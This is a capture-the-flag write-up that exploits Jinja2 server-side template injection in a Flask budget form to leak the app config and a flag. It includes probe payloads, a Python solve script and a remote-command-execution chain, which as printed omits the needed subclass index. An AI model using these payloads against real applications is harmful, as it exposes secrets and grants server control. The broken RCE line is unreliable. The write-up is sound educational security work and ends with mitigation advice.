Home > Writeups > DEADROP Web 3 - budget.internal.deadrop

DEADROP Web 3 - budget.internal.deadrop

Exploiting a Server-Side Template Injection vulnerability in an expense report submission form to extract a flag from the Flask application config via Jinja2's built-in config context variable.

budget.internal.deadrop

Challenge Description

Internal budget allocation tool. Expense reports. Project names. The template engine has opinions about your input.

"Flat Earth Division Q4 allocation: classified. Coffee budget: also classified. But higher."

We're given deadrop.two-shoes.org/budget, an internal budget allocation portal with an expense report submission form.


Recon

The landing page shows a breakdown of division budget allocations. Two things stand out immediately:

  1. The page footer notice reads: "Submissions are processed by the internal template engine v2.3. Project names appear verbatim in generated reports." The template engine is doing something with our input.

  2. Clicking through to /budget/reports, the pre-seeded entries don't give us much to work off of. So let's check out the report submission portal at /budget/submit. The Project Name field has a comment // used as report title, that's a hint at SSTI.


Confirming the Injection

Submit a report with project name {{7*7}}:

  • Division: anything
  • Amount: 0
  • Justification: test

Navigate to /budget/reports. The project name renders as 49. The expression executed server-side.

Try breaking the template intentionally with {{ (unclosed brace):

[TEMPLATE ERROR: TemplateSyntaxError: unexpected end of template, expected ']'.]

Two things confirmed: Jinja2 is the engine, and errors are reflected back.


Finding the Flag

In Flask, render_template_string automatically exposes app.config as config in the template context. This is a built-in Jinja2 global, no special setup needed, it's just there.

Submit project name {{config}}:

The reports page now renders a wall of text in the project name cell: the entire Flask config dictionary serialised. Somewhere in there:

'FLAG': 'DEADROP{flat_earth_division_got_the_most_funding}'

The flag reveal overlay fires automatically.

For a cleaner extraction, submit {{config.FLAG}} or {{config['FLAG']}}, the project name renders as just the flag value.


Full Solve

import requests

BASE = "https://deadrop.two-shoes.org/budget"
s = requests.Session()

# Step 1 - confirm SSTI
s.post(f"{BASE}/submit", data={
    "project": "{{7*7}}",
    "division": "Coffee Procurement",
    "amount": "0",
    "justification": "test"
})
r = s.get(f"{BASE}/reports")
assert "49" in r.text
print("SSTI confirmed")

# Step 2 - extract flag directly
s.post(f"{BASE}/submit", data={
    "project": "{{config.FLAG}}",
    "division": "Coffee Procurement",
    "amount": "0",
    "justification": "test"
})
r = s.get(f"{BASE}/reports")
import re
flag = re.search(r"DEADROP\{[^}]+\}", r.text)
print(flag.group())

Going Further: RCE

{{config}} is the intended path, but Jinja2 SSTI can go much further. The standard MRO chain for RCE:

# List all subclasses to find subprocess.Popen or similar
{{''.__class__.__mro__[1].__subclasses__()}}

# Find index of subprocess.Popen in the list, then call it
{{''.__class__.__mro__[1].__subclasses__().popen(['id'], stdout=-1).communicate()}}

This gets full command execution on the server. The flag in /app/flag.txt or via environment variables would be reachable too. For this challenge the config leak path is cleaner and faster.


Key Takeaways

1. Never pass user input to render_template_string. If you need to render a template string containing user data, use Jinja2's sandboxed environment (jinja2.sandbox.SandboxedEnvironment) or escape the input before rendering. Better: never render user input as a template at all, use {{ variable | e }} to display it as literal text.

2. Flask's template context is richer than you think. config, request, session, g, and url_for are all available in Flask templates by default. Any of these exposed via SSTI is a data leak or worse.

3. Error messages are intelligence. The Jinja2 exception type and message confirmed the engine, the syntax, and that errors weren't caught silently.


Flag

DEADROP{flat_earth_division_got_the_most_funding}

< Back to All Writeups